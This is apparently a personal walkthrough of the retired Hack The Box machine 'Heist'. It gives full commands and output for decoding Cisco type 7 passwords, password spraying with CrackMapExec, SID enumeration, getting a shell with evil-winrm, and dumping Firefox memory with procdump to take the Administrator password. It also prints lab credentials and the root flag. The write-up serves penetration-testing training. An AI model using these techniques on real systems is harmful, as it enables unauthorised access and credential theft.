

165 HTB Heist

[HTB] HEIST

by [Pablo](#)

• **Resources:**

- 1. <https://www.firewall.cx/tools-tips-reviews/news-and-announcements/cisco-type-7-password-decrypt-decoder-cracker-tool.html>
- 2. <https://www.firewall.cx/cisco/cisco-routers/cisco-type7-password-crack.html>
- 3. [Savitar](#) <https://htbmachines.github.io/>
- 4. [0xdf](#) <https://0xdf.gitlab.io/>
- 5. <https://www.deepl.com/translator>

Objectives:

1. Skills: Information Leakage Cisco Password Cracker (password7) SMB Enumeration - CrackMapExec Getting more valid system users - lookupsid.py Abusing WinRM - EvilWinRM Creating a dump file of the Firefox process - Procdump64.exe (Windows Sysinternals) Reading the password of the administrator user in the previously performed dump [Privilege Escalation]



1. **Ping &** `whichsystem.py`

```
1. > ping -c 1 10.10.10.149
PING 10.10.10.149 (10.10.10.149) 56(84) bytes of data.
2. > whichsystem.py 10.10.10.149
3. 10.10.10.149 (ttl -> 127): Windows
```

2. **Nmap**

```
1. nmap -A -Pn -n -vvv -oN nmap/portzscan.nmap -p 80,135,445,5985,49669 heist.htb
2. > cat portzscan.nmap | grep '^[[0-9]]'
80/tcp      open  http          syn-ack Microsoft IIS httpd 10.0
135/tcp     open  msrpc         syn-ack Microsoft Windows RPC
445/tcp     open  microsoft-ds? syn-ack
5985/tcp    open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49669/tcp   open  msrpc         syn-ack Microsoft Windows RPC
```

3. **Whatweb**

```
1. > whatweb http://10.10.10.149
http://10.10.10.149 [302 Found] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.149], Microsoft-IIS[10.0], PHP[7.3.1], RedirectLocation[login.php], X-Powered-By[PHP/7.3.1]
http://10.10.10.149/login.php [200 OK] Bootstrap[3.3.7], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.149], JQuery[3.1.1], Microsoft-IIS[10.0], PHP[7.3.1], PasswordField[login_password], Script, Title[Support Login Page], X-Powered-By[PHP/7.3.1]
```

4. **CrackMapExec Nullsession**

```
1. (.venv) ~/.config/.cmegithub/.cmecrackplease/CrackMapExec (master ✓) > crackmapexec smb 10.10.10.149
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk)
(signing:False) (SMBv1:False)
```

Can't load smb.conf error, and how to fix it on BlackArch

- #pwn_smb_conf_error_smbclient_cant_load_fix
- #pwn_Cant_load_smb_conf_error

5. SMBCLIENT NullSession

```
1. > smbclient -L 10.10.10.149 -N
Cant load /etc/samba/smb.conf - run testparm to debug it
session setup failed: NT_STATUS_ACCESS_DENIED
2. The way to fix this error is very simple.
3. sudo touch /etc/samba/smb.conf
4. If you do not have the samba folder you can just make it or install samba
5. I recommend just making the folder and touching the file smb.conf file
6. sudo mkdir /etc/samba
7. sudo touch /etc/samba/samba.conf
8. sudo pacman -S samba
9. SUCCESS, it is now working. We did not get that error anymore.
10. > smbclient -L 10.10.10.149 -N
session setup failed: NT_STATUS_ACCESS_DENIED
```

6. SMBMAP Nullsession

```
1. NA
```

7. RpcClient NullSession

```
1. NA
```

8. Enumerating the website

```
1. http://10.10.10.149/login.php
2. Click login as guest
3. Hazard user has a link called attachments
4. If I click on it. It takes to to some router version number page.
5. version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
6. Seems to be some type of password. Not sure what it is doing.
7. We have determined that this is cisco router. Actually I dont know how I found that info.
8. Google what is in this attatchment. Password 7
9. The search comes back with the following. Cisco Password 7
10. So I google for 'cisco password 7'
11. That takes me to a Cisco Type 7 password decrypt decoder cracker tool
12. https://www.firewall.cx/tools-tips-reviews/news-and-annoucements/cisco-type-7-password-decrypt-decoder-cracker-tool.html
13. https://www.firewall.cx/cisco/cisco-routers/cisco-type7-password-crack.html
```

Left off 01:14:00

9. Ok we take the password 7 and decrypt it at the link provided.

```
1. http://10.10.10.149/attachments/config.txt
2. From the link above you will find
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
3. Go to this link below and paste them in.
4. https://www.firewall.cx/tools-tips-reviews/news-and-annoucements/cisco-type-7-password-decrypt-decoder-cracker-tool.html
5. https://www.firewall.cx/cisco/cisco-routers/cisco-type7-password-crack.html
6. SUCCESS
7. $superP@ssword
8. Q4)sJu\Y8qz*A3?d
```

10. Lets crack it with john

```
1. > john --wordlist=/home/haxor/hackthebox/servmon/passwdlst.txt hash
```

2. **SUCCESS**
3. `stealth1agent`

Time for a spray

11. Lets *spray* with CrackMapExec

```
1. > crackmapexec smb 10.10.10.149 -u ~/hackthebox/heist/users -p ~/hackthebox/heist/passwords --continue-on-success
2. SUCCESS
3. [+] SupportDesk\hazard:stealth1agent
4. NO support for winrm
5. > crackmapexec winrm 10.10.10.149 -u 'hazard' -p 'stealth1agent'
SMB      10.10.10.149      5985      SUPPORTDESK      [*] Windows 10.0 Build 17763 (name:SUPPORTDESK)
(domain:SupportDesk)
HTTP      10.10.10.149      5985      SUPPORTDESK      [*] http://10.10.10.149:5985/wsman
HTTP      10.10.10.149      5985      SUPPORTDESK      [-] SupportDesk\hazard:stealth1agent
```

12. **SMBCLIENT** with hazard credential

```
1. > smbclient -L 10.10.10.149 -U "hazard%stealth1agent"

      Sharename      Type      Comment
      -----      -
      ADMIN$          Disk      Remote Admin
      C$              Disk      Default share
      IPC$            IPC      Remote IPC
SMB1 disabled -- no workgroup available
```

13. **SMBMAP** with hazard credential

```
1. > smbmap -H 10.10.10.149 -u 'hazard' -p 'stealth1agent' --no-banner
```

14. Now he tries **RpcClient** with credentials

```
1. > rpcclient -U "hazard%stealth1agent" 10.10.10.149 -c 'enumdomusers'
result was NT_STATUS_CONNECTION_DISCONNECTED
2. It did not give an .NT_STATUS_LOGON_FAILURE so there is something else blocking the execution of our command.
```

Find more Usernames with `LookUpSID.py`

`LookupSID.py` **an Impacket Module.** *An excellent option if you are stuck without usernames or creds*

- `#pwn_LookUpSID`
- `#pwn_Impacket_LookUpSID`
- `#pwn_Windows_LookUpSID`
- `#pwn_impacket_find_more_usernames_with_LookUpSID`

15. **Look up SID** is a windows enumeration tool

```
1. > lookupsid.py SUPPORTDESK/hazard:stealth1agent@10.10.10.149
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
2. Add those users support, chase, jason to your users file
```

16. After adding support, Chase, and Jason we got another credential using CrackMapExec

```
1. > crackmapexec smb 10.10.10.149 -u ~/hackthebox/heist/users -p ~/hackthebox/heist/passwords --continue-on-success
```

```
2. [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d
3. [+] SupportDesk\hazard:stealth1agent
4. Lets see if Chase is a part of 'Remote Management Users' group
5. > crackmapexec winrm 10.10.10.149 -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d'
SMB      10.10.10.149    5985    SUPPORTDESK    [*] Windows 10.0 Build 17763 (name:SUPPORTDESK)
(domain:SupportDesk)
HTTP     10.10.10.149    5985    SUPPORTDESK    [*] http://10.10.10.149:5985/wsman
HTTP     10.10.10.149    5985    SUPPORTDESK    [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d (.Pwn3d!)
6. SUCCESS, we got a (.Pwn3d!)
7. Lets use evil-winrm to winrm into our session as Chase
8. I had an openssl error. Fixed it
9. *Evil-WinRM* PS C:\Users\Chase\Documents> whoami
supportdesk\chase
10. See Evil-WinRM OpenSSL Error on the 'Evil-WinRM' note in obsidian.
11. Actually here are the steps below.
```

How to Fix OpenSSL Error for Evil-WinRM

- #pwn_evil_winrm_openssl_Error

17. If you get the below error here is how to fix it

```
1. Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed:
initialization error
2. You get this error when you know you have a valid session and should be able to connect via winrm.
3. Follow this guide at the link.
4. https://forum.hackthebox.com/t/evil-winrm-error-on-connection-to-host/257342/13
5. Add the following
[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1
6. To openssl.cnf file
7. Add to the bottom of the file
8. /etc/ssl > tail /etc/ssl/openssl.cnf
# https://forum.hackthebox.com/t/evil-winrm-error-on-connection-to-host/257342/13
[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1
9. DONE
```

18. Now lets enumerate the box with the Chase user account

```
1. *Evil-WinRM* PS C:\Users\Chase\Documents> net user chase
2. Local Group Memberships *Remote Management Use*Users
3. *Evil-WinRM* PS C:\Users\Chase\Desktop> dir
4. *Evil-WinRM* PS C:\Users\Chase\Desktop> type todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.

Done:
1. Restricted access for guest user.
```

19. We find that FireFox is running in the background. That is odd. Maybe FireFox has secrets that we can dump

```
1. *Evil-WinRM* PS C:\Users> ps | findstr firefox
378      30      39352      322040      0.73    1360    1 firefox
401      36      51376      108712      1.45    4452    1 firefox
1089     80      216588     294104      9.50    5976    1 firefox
347      19      10212      287564      0.11    6040    1 firefox
355      24      16384      296924      0.50    6400    1 firefox
```

ProcDump64.exe

20. Download Procdump64.exe a windows LOLBAS aka Windows Native File

```
1. Google search 'procdump64.exe download'
2. https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
3. click download ProcDump
4. ▸ 7z l Procdump.zip
2022-11-03 15:55:14 .....      791960      364222  procdump.exe
2022-11-03 15:55:14 .....      424856      196343  procdump64.exe
2022-11-03 15:55:14 .....      407952      167513  procdump64a.exe
2022-11-03 15:55:00 .....        7490        3120  Eula.txt
5. *Evil-WinRM* PS C:\Users\Chase\Desktop> upload /home/haxor/hackthebox/heist/procdump64.exe
6. Info: Upload successful!
7. *Evil-WinRM* PS C:\Users\Chase\Desktop> dir
-a----          12/14/2023   11:43 AM          424856 procdump64.exe
-a----           4/22/2019    9:08 AM           121 todo.txt
-ar----          12/12/2023    7:15 PM           34 user.txt
8. *Evil-WinRM* PS C:\Users\Chase\Desktop> .\procdump64.exe
9. If you get the accept eula just add accept eula flag
10. *Evil-WinRM* PS C:\Users\Chase\Desktop> .\procdump64.exe -accepteula
11. We need to create a dump file of FireFox. You can do that with procdump64.exe with the following command.
12. *Evil-WinRM* PS C:\Users\Chase\Desktop> ps | findstr firefox
    378      30      39468      322224      0.73    1360    1 firefox
    401      36      52216      108928      1.47    4452    1 firefox
   1087     80     216592      293824      9.55    5976    1 firefox
    347     19      10212      287564      0.11    6040    1 firefox
    355     24      16384      296924      0.50    6400    1 firefox
*Evil-WinRM* PS C:\Users\Chase\Desktop> .\procdump64.exe -ma 1360
13. Oh yeah, you will need the process id.
14. Now we need to exfil this dump file and it is huge.
15. Instead of having to exfil this gigante file we can do a 'findstr' command on the file and hopefully find a password.
16. Lets see if I can download it.
18. It is too large 350mb I want to cancel the download
```

Admin Credential

21. We got an admin credential

```
1. ▸ crackmapexec winrm 10.10.10.149 -u 'Administrator' -p '4dD!5}x/re8]FBuZ'
SMB          10.10.10.149    5985    SUPPORTDESK    [*] Windows 10.0 Build 17763 (name:SUPPORTDESK)
(domain:SupportDesk)
HTTP          10.10.10.149    5985    SUPPORTDESK    [*] http://10.10.10.149:5985/wsman
HTTP          10.10.10.149    5985    SUPPORTDESK    [+] SupportDesk\Administrator:4dD!5}x/re8]FBuZ (.Pwn3d!)
2. SUCCESS we get a pwned
```

Pwn3d Admin got root flag


22. Root

```
1. ▸ evil-winrm -i 10.10.10.149 -u 'Administrator' -p '4dD!5}x/re8]FBuZ'

2. *Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
f8b8d22d84e6502e26126347b67a3306
```



Heist has been Pwned!

Congratulations  **quadamage**, best of luck in capturing flags ahead!

#9568	14 Dec 2023	RETIRED
MACHINE RANK	PWN DATE	MACHINE STATE

OK

SHARE

Pwned